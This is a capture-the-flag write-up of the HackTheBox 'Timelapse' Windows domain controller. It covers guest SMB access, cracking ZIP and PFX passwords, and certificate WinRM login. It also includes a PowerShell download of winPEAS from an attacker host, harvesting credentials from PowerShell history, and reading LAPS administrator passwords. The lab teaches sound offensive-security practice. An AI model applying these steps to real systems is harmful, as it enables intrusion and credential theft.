Timelapse is an easy-difficulty HackTheBox machine centred on SSL/TLS certificate extraction, PowerShell history enumeration, and Active Directory LAPS misconfigurations on a Windows Domain Controller. Initial reconnaissance reveals unauthenticated guest access to the Shares SMB share, allowing exfiltration of a password-protected backup archive. Cracking the ZIP archive password and subsequent PFX container passphrase yields a client SSL certificate and private key, granting initial WinRM access. Inspecting the PowerShell PSReadLine history file exposes cleartext credentials for svc_deploy, enabling lateral movement. Because svc_deploy belongs to the LAPS_Readers domain group, querying the confidential Active Directory attribute ms-Mcs-AdmPwd via Get-ADComputer extracts the cleartext password for the local Administrator account, leading to full host compromise and root flag retrieval.
1. Reconnaissance & Unauthenticated SMB Exfiltration
1.1 Network Scanning & Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O timelapse.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-12 22:00 -0400 Nmap scan report for timelapse.htb (10.129.227.113) Host is up (0.50s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-13 10:08:12Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/wsmans? | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 | tls-alpn: | h2 |_ http/1.1 |_ssl-date: 2026-10-13T10:10:54+00:00; +8h06m52s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 8h06m51s, deviation: 0s, median: 8h06m51s | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2026-10-13T10:10:17 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 216.33 seconds
Based on the scan, the target is a Windows Server Active Directory Domain Controller.
- Port 53 - Simple DNS Plus
- Port 88 - Microsoft Windows Kerberos
- Port 135 - Microsoft Windows RPC (MSRPC)
- Ports 139 and 445 - Microsoft Directory Services (SMB)
- Ports 389 and 636 - Active Directory LDAP Services
- Ports 3268 and 3269 - Active Directory Global Catalogue
- Port 5986 - WinRM (SSL)
1.2 Unauthenticated SMB Share Enumeration
Since I do not have any valid credentials, I decided to enumerate SMB shares as guest first, and I was able to find a share named Shares that has guest access.
SMB 10.129.227.113 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.227.113 445 DC01 [+] timelapse.htb\guest: SMB 10.129.227.113 445 DC01 [*] Enumerated shares SMB 10.129.227.113 445 DC01 Share Permissions Remark SMB 10.129.227.113 445 DC01 ----- ----------- ------ SMB 10.129.227.113 445 DC01 ADMIN$ Remote Admin SMB 10.129.227.113 445 DC01 C$ Default share SMB 10.129.227.113 445 DC01 IPC$ READ Remote IPC SMB 10.129.227.113 445 DC01 NETLOGON Logon server share SMB 10.129.227.113 445 DC01 Shares READ SMB 10.129.227.113 445 DC01 SYSVOL Logon server share
Enumerating the Shares SMB share, I found two directories and the Dev directory had a backup ZIP file, winrm_backup.zip.
The ZIP file is password-protected.
2. Encrypted Archive Cracking & Certificate Extraction
2.1 ZIP Archive Password Cracking
Since the ZIP file is password-protected, I decided to try to crack the password using John the Ripper. Extracting the password hash using zip2john indicated that the ZIP file is encrypted using PKZIP encryption.
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 6 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx) 1g 0:00:00:00 DONE (2026-10-13 00:42) 1.265g/s 4346Kp/s 4346Kc/s 4346KC/s surkerior..supalove Use the "--show" option to display all of the cracked passwords reliably Session completed.
john cracked the password hash, and the ZIP archive's master password was recovered as supremelegacy.
2.2 PFX Certificate Container Cracking
Unzipping the ZIP file produced a PFX file named legacyy_dev_auth.pfx.
PFX files bundle both public and private keys within a password-protected archive. I extracted the password using pfx2john and cracked it with john.
Using default input encoding: UTF-8 Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x]) Cost 1 (iteration count) is 2000 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes Will run 6 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thuglegacy (legacyy_dev_auth.pfx) 1g 0:00:02:48 DONE (2026-10-13 01:02) 0.005924g/s 19145p/s 19145c/s 19145C/s thugways..thsco04 Use the "--show" option to display all of the cracked passwords reliably Session completed.
The password for the PFX file was recovered as thuglegacy.
2.3 Private Key & Certificate Extraction
With the password for the PFX file extracted, I was able to extract the private key and certificate from the PFX file.
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out certificate.crt
Inspecting the extracted certificate and the private key, I was able to get the target username as legacyy.
3. Initial Access & User Flag
3.1 Certificate-Based WinRM Shell & User Flag
Using the client certificate and the private key, I was able to log in to the target machine using evil-winrm and retrieve the user flag.
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Documents> cat ../Desktop/user.txt3.2 PowerShell PSReadLine History Harvest
To find privilege escalation vectors, I downloaded WinPeas to the target machine using (New-Object Net.WebClient).DownloadFile('http://10.10.16.36:8000/winPEASany.exe', 'C:\Users\legacyy\desktop\peas.exe').
WinPeas flagged that there is a PowerShell history file at C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.
The file revealed hardcoded credentials for the user svc_deploy.
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exitUsing the harvested credentials, I was able to log in to the target machine as svc_deploy.
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy4. Active Directory LAPS Abuse & Root Flag
4.1 Privilege & Group Membership Audit
I was able to audit the svc_deploy user's privileges and group memberships by running whoami /all.
USER INFORMATION ---------------- User Name SID ==================== ============================================ timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103 GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============================================ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled.
Based on the result, the user svc_deploy is a member of the LAPS_Readers.
4.2 LAPS Architecture & Misconfiguration Analysis
Microsoft Local Administrator Password Solution (LAPS) is a centralised management service that generates and rotates local administrator passwords on domain-joined machines.
LAPS stores the active cleartext local administrator password, and LAPS_Readers group members have access to read the password.
Since the user svc_deploy is a member of the group, we can read the administrator cleartext password without any restrictions.
4.3 LAPS Password Extraction
I was able to use Get-ADComputer to query Active Directory and retrieve the ms-Mcs-AdmPwd attribute values that store the local administrator password.
Name ms-Mcs-AdmPwd ---- ------------- DC01 XfL,Kk-7oV,O+epEgg5l%O@t DB01 WEB01 DEV01
4.4 Root Flag Capture
Using the recovered Administrator password, I was able to log in to that target machine and retrieve the root flag from the TRX user's desktop directory.
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
...
*Evil-WinRM* PS C:\Users> cd TRX/Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/13/2026 2:57 AM 34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txtCongrats! We found both flags!
HTB Machine Completion
